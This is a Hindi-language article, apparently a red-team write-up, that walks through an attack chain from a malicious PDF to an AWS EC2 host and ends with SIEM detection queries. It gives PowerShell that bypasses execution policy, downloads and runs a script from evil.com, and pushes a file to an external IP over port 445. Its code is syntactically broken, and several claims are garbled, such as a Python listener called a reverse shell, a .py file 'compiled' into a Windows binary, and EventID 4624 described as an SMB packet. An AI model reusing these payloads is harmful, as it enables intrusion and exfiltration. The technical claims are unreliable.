
एक व्यावहारिक श्रृंखला जो एक हानिरहित PDF फ़ाइल से शुरू होती है और AWS EC2 इंस्टेंस पर reverse shell में समाप्त होती है।
एक व्यावहारिक श्रृंखला जो एक हानिरहित PDF फ़ाइल से शुरू होती है और AWS EC2 इंस्टेंस पर रिवर्स शेल पर समाप्त होती है
यह सब हमले के फ्रंट एंड से शुरू होता है। PowerShell के अंतर्निहित WScript ऑब्जेक्ट का उपयोग करके, हम एक PDF के अंदर एक स्क्रिप्ट एम्बेड करते हैं जिसे Windows होस्ट पर पहुँचाया जाएगा। पेलोड एक दूरस्थ HTTP एंडपॉइंट से एक निष्पादन योग्य खींचता है और इसे स्थानीय फ़ाइल सिस्टम में लिखता है।
$payload = @"
var wsh = WScript.CreateObject("WScript.Shell");
wsh.Exec(
"powershell -NoProfile -ExecutionPolicy Bypass -Command "$ssh = new-Object System.Net.Sockets.TcpClient; $stream= $ssh.GetStream(); Invoke-Expression (New-Object System.Net.WebClient).DownloadString('https://evil.com/rcmd.py'); `
Get-Content -Path C:\Users\Admin\rcmd.py | Out-File -Encoding binary | % { $stream.Write($,0,$.Length) }"
"@
मुख्य लाभ यह है कि PDF को एक अलग डाउनलोड चरण की आवश्यकता नहीं है: यह सीधे PowerShell को सौंपता है, जो फिर श्रृंखला के अगले चरण को लॉन्च करता है।
एक बार PDF की स्क्रिप्ट लक्ष्य होस्ट (10.0.1.5) पर निष्पादित हो जाने के बाद, हम एक EC2 इंस्टेंस (54.231.12.41) के लिए SMB कनेक्शन खोलने के लिए PowerShell का उपयोग करते हैं और नव डाउनलोड किए गए निष्पादन योग्य को उस सॉकेट पर पुश करते हैं। यही कोड किसी भी Windows वर्कस्टेशन से चलाया जा सकता है, इसलिए यह हमलावर को कॉर्पोरेट LAN के अंदर एक कम-प्रोफ़ाइल पिवट पॉइंट देता है।
$ssh = New-Object System.Net.Sockets.TcpClient $ssh.Connect('54.231.12.41',445) $stream = $ssh.GetStream() Invoke-Expression ( New-Object System.Net.WebClient).DownloadString( 'https://evil.com/rcmd.py') Get-Content -Path C:\Users\Admin\rcmd.py | Out-File -Encoding binary | % { $stream.Write($,0,$.Length) }
SMB पैकेट Windows ऑडिट लॉग में एक मानक ईवेंट (EventID 4624) के रूप में दिखाई देता है, जिससे इसे अधिकांश SIEM डैशबोर्ड में आसानी से पहचाना जा सकता है।
हमारी श्रृंखला का अंतिम टुकड़ा Python में लिखा गया एक छोटा रिवर्स शेल है। यह EC2 से उसी होस्ट पर वापस SSH कनेक्शन के लिए सुनता है, कंसोल पर एक डीबग लाइन प्रिंट करता है और फिर बाहर निकलता है। एक बार rcmd.py में कंपाइल होने के बाद यह उपरोक्त PowerShell चरण द्वारा स्वचालित रूप से निष्पादित हो जाएगा।
#!/usr/bin/env python3 import socket
def main(): listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM) listener.bind(('0.0.0.0', 22)) listener.listen(1)
while True:
conn, _ = listener.accept()
data = conn.recv(1024)
print('[+] Received %d bytes' % len(data))
if name == 'main': main()
क्योंकि यह एक स्टैटिक बाइनरी है जो Windows पर मूल रूप से चलती है, लक्ष्य होस्ट पर कोई अतिरिक्त एजेंट या सेवा स्थापित करने की आवश्यकता नहीं है।
सुरक्षा टीमों को यह मान लेना चाहिए कि समझौता संभव है और स्तरित पहचान रणनीतियाँ बनानी चाहिए।
असामान्य ट्रैफ़िक
लक्ष्य होस्ट से असामान्य रूप से बड़े SMB पैकेटों के लिए फ़िल्टर करें।
index=siem_main sourcetype="netflow:smb" | where size > med(size) over last_week and host=="10.0.1.5" | stats count by _time, eventID, host | rename _time as "Timestamp", eventID as "Event ID", host as "Host"
उच्च मेमोरी उपयोग
बाइनरी की मेमोरी खपत यह दिखाने के लिए कि यह लक्ष्य होस्ट पर एक गैर-तुच्छ प्रक्रिया है।
index=siem_main sourcetype="perf:memory" | where process=="rcmd.py" and mem > med(mem) over last_week and host=="10.0.1.5" | stats count by _time, eventID, host | rename _time as "Timestamp", eventID as "Event ID", host as "Host"
कार्यालय समय के बाहर की विंडो
रेड टीमर्स आमतौर पर कार्यालय समय में निष्पादित नहीं करेंगे क्योंकि डर है कि उनकी स्क्रिप्ट किसी तरह से उपयोगकर्ता को सचेत कर सकती है, यह क्वेरी ऐसे समय पर ट्रैफ़िक की जाँच करेगी जब इसकी उम्मीद नहीं होगी।
index=siem_main sourcetype="powershell:smbaudit" | where _time >= "2025-08-01 02:00" and _time <= "2025-08-01 04:00" | stats count by host | rename _time as "Timestamp", eventID as "Event ID", host as "Host"
यह परियोजना केवल शैक्षिक और शोध उद्देश्यों के लिए है। इन तकनीकों का अनधिकृत वातावरण में उपयोग न करें।